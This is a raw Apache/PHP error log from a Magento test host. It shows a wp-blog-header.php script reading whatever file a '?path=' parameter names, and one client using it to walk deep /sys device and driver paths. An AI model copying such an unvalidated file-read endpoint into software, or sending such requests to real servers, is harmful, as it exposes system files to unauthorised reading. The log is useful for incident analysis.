[Thu Mar 26 07:25:22.899557 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:ea
[Thu Mar 26 07:26:06.303991 2026] [php:warn] [pid 2976814] [client 74.7.241.26:46396] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:fb/subsystem/devices/device:aa
[Thu Mar 26 07:28:14.655681 2026] [php:warn] [pid 2946679] [client 74.7.241.26:60006] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bb/subsystem/devices/device:ac
[Thu Mar 26 07:28:44.088005 2026] [php:warn] [pid 2976814] [client 74.7.241.26:44470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae/subsystem/drivers/nfit/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae/subsystem/drivers/nfit
[Thu Mar 26 07:28:58.421709 2026] [php:warn] [pid 2976814] [client 74.7.241.26:44470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:db/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:db/subsystem/drivers/tpm_crb
[Thu Mar 26 07:29:40.957632 2026] [php:warn] [pid 2977178] [client 74.7.241.26:58482] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ee/subsystem/devices/device:3f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ee/subsystem/devices/device:3f
[Thu Mar 26 07:32:17.757754 2026] [php:warn] [pid 2946665] [client 74.7.241.26:33042] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/devices/device:6f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/devices/device:6f
[Thu Mar 26 07:32:40.228386 2026] [php:warn] [pid 2977178] [client 74.7.241.26:40174] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/devices/device:7a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:eb/subsystem/devices/device:7a
[Thu Mar 26 07:34:41.046774 2026] [php:warn] [pid 2976804] [client 74.7.241.26:49882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:4d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:4d
[Thu Mar 26 07:35:13.710746 2026] [php:warn] [pid 2976374] [client 74.7.241.26:47002] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ed/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ed/subsystem/devices/device:fe
[Thu Mar 26 07:39:12.638526 2026] [php:warn] [pid 2976804] [client 74.7.241.26:42706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:f6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:f6
[Thu Mar 26 07:39:26.350101 2026] [php:warn] [pid 2976804] [client 74.7.241.26:42706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:db/subsystem/devices/device:4f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:db/subsystem/devices/device:4f
[Thu Mar 26 07:40:07.343253 2026] [php:warn] [pid 2946666] [client 74.7.241.26:48130] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cf/subsystem/devices/device:3e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:cf/subsystem/devices/device:3e
[Thu Mar 26 07:41:30.955731 2026] [php:warn] [pid 2946679] [client 74.7.241.26:46916] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:0a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:0a
[Thu Mar 26 07:42:44.008208 2026] [php:warn] [pid 2976804] [client 74.7.241.26:45154] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae/subsystem/devices/device:f8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae/subsystem/devices/device:f8
[Thu Mar 26 07:42:48.233165 2026] [php:warn] [pid 2976804] [client 74.7.241.26:45154] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:c6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bf/subsystem/devices/device:c6
[Thu Mar 26 07:44:56.199851 2026] [php:warn] [pid 2976374] [client 74.7.241.26:59118] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ac/subsystem/drivers/nfit/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ac/subsystem/drivers/nfit
[Thu Mar 26 07:45:18.173158 2026] [php:warn] [pid 2957966] [client 74.7.241.26:59628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ce/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ce/subsystem/devices/device:ca
[Thu Mar 26 07:45:51.601697 2026] [php:warn] [pid 2957966] [client 74.7.241.26:59628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bd/subsystem/devices/device:6d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:bd/subsystem/devices/device:6d
[Thu Mar 26 07:48:28.075719 2026] [php:warn] [pid 2977451] [client 74.7.241.26:39444] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ab/subsystem/devices/device:b2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ab/subsystem/devices/device:b2
[Thu Mar 26 07:53:40.311496 2026] [php:warn] [pid 2946679] [client 74.7.241.26:57894] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa/subsystem/devices/device:9c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa/subsystem/devices/device:9c
[Thu Mar 26 07:54:38.990573 2026] [php:warn] [pid 2976814] [client 74.7.241.26:39802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa/subsystem/devices/device:5a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa/subsystem/devices/device:5a
[Thu Mar 26 07:55:59.260220 2026] [php:warn] [pid 2946679] [client 74.7.241.26:45870] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ba/subsystem/devices/device:5e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:ba/subsystem/devices/device:5e
[Thu Mar 26 07:59:07.312908 2026] [php:warn] [pid 2946666] [client 74.7.241.26:39188] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:df/subsystem/devices/device:a5/physical_node/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:df/subsystem/devices/device:a5/physical_node
[Thu Mar 26 07:59:37.262126 2026] [php:warn] [pid 2946666] [client 74.7.241.26:39188] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:df/subsystem/devices/device:8a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:df/subsystem/devices/device:8a
[Thu Mar 26 08:00:28.572373 2026] [php:warn] [pid 2977178] [client 74.7.241.26:42692] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:eb/device:ec
[Thu Mar 26 08:00:48.143099 2026] [php:notice] [pid 2946679] [client 74.7.241.26:55692] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:dd/power
[Thu Mar 26 08:00:58.284898 2026] [php:warn] [pid 2946679] [client 74.7.241.26:55692] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:cd/device:ce
[Thu Mar 26 08:05:39.269458 2026] [php:warn] [pid 2977178] [client 74.7.241.26:58952] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/drivers/nfit/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/drivers/nfit
[Thu Mar 26 08:06:18.308952 2026] [php:warn] [pid 2976374] [client 74.7.241.26:50732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:da
[Thu Mar 26 08:07:01.599571 2026] [php:warn] [pid 2976374] [client 74.7.241.26:50732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ec
[Thu Mar 26 08:07:07.020696 2026] [php:notice] [pid 2977451] [client 74.7.241.26:38476] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ab/power
[Thu Mar 26 08:07:24.639841 2026] [php:notice] [pid 2977451] [client 74.7.241.26:38476] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:eb/power
[Thu Mar 26 08:08:35.335669 2026] [php:notice] [pid 2957966] [client 74.7.241.26:58512] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:bc/power
[Thu Mar 26 08:10:30.459886 2026] [php:warn] [pid 2977063] [client 74.7.241.26:41740] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/button/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/button
[Thu Mar 26 08:15:33.631717 2026] [php:notice] [pid 2976813] [client 74.7.241.26:42016] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fd/power
[Thu Mar 26 08:18:27.482799 2026] [php:warn] [pid 2946666] [client 74.7.241.26:50604] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:8a/physical_node/resource2): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:8a/physical_node
[Thu Mar 26 08:18:37.008239 2026] [php:warn] [pid 2946666] [client 74.7.241.26:50604] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:5e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:5e
[Thu Mar 26 08:19:36.084192 2026] [php:warn] [pid 2976813] [client 74.7.241.26:52468] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:8f/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:8f/physical_node/driver
[Thu Mar 26 08:21:26.829468 2026] [php:warn] [pid 2946678] [client 74.7.241.26:36456] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:6f/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:6f/subsystem
[Thu Mar 26 08:21:39.983224 2026] [php:warn] [pid 2946678] [client 74.7.241.26:36456] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:e1/subsystem/devices/device:de/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:e1/subsystem/devices/device:de/subsystem
[Thu Mar 26 08:21:55.364525 2026] [php:notice] [pid 2977063] [client 74.7.241.26:37060] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:f5/power
[Thu Mar 26 08:24:59.950429 2026] [php:notice] [pid 3098514] [client 74.7.241.26:53260] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fc/power
[Thu Mar 26 08:25:19.301812 2026] [php:notice] [pid 3099043] [client 74.7.241.26:46020] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:bc/power
[Thu Mar 26 08:28:38.534708 2026] [php:warn] [pid 3100484] [client 74.7.241.26:33740] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ff/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ff/subsystem
[Thu Mar 26 08:29:09.532323 2026] [php:warn] [pid 2977063] [client 74.7.241.26:51260] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/physical_node/driver/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/physical_node/driver
[Thu Mar 26 08:29:56.817608 2026] [php:warn] [pid 3101378] [client 74.7.241.26:37796] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/tpm_crb
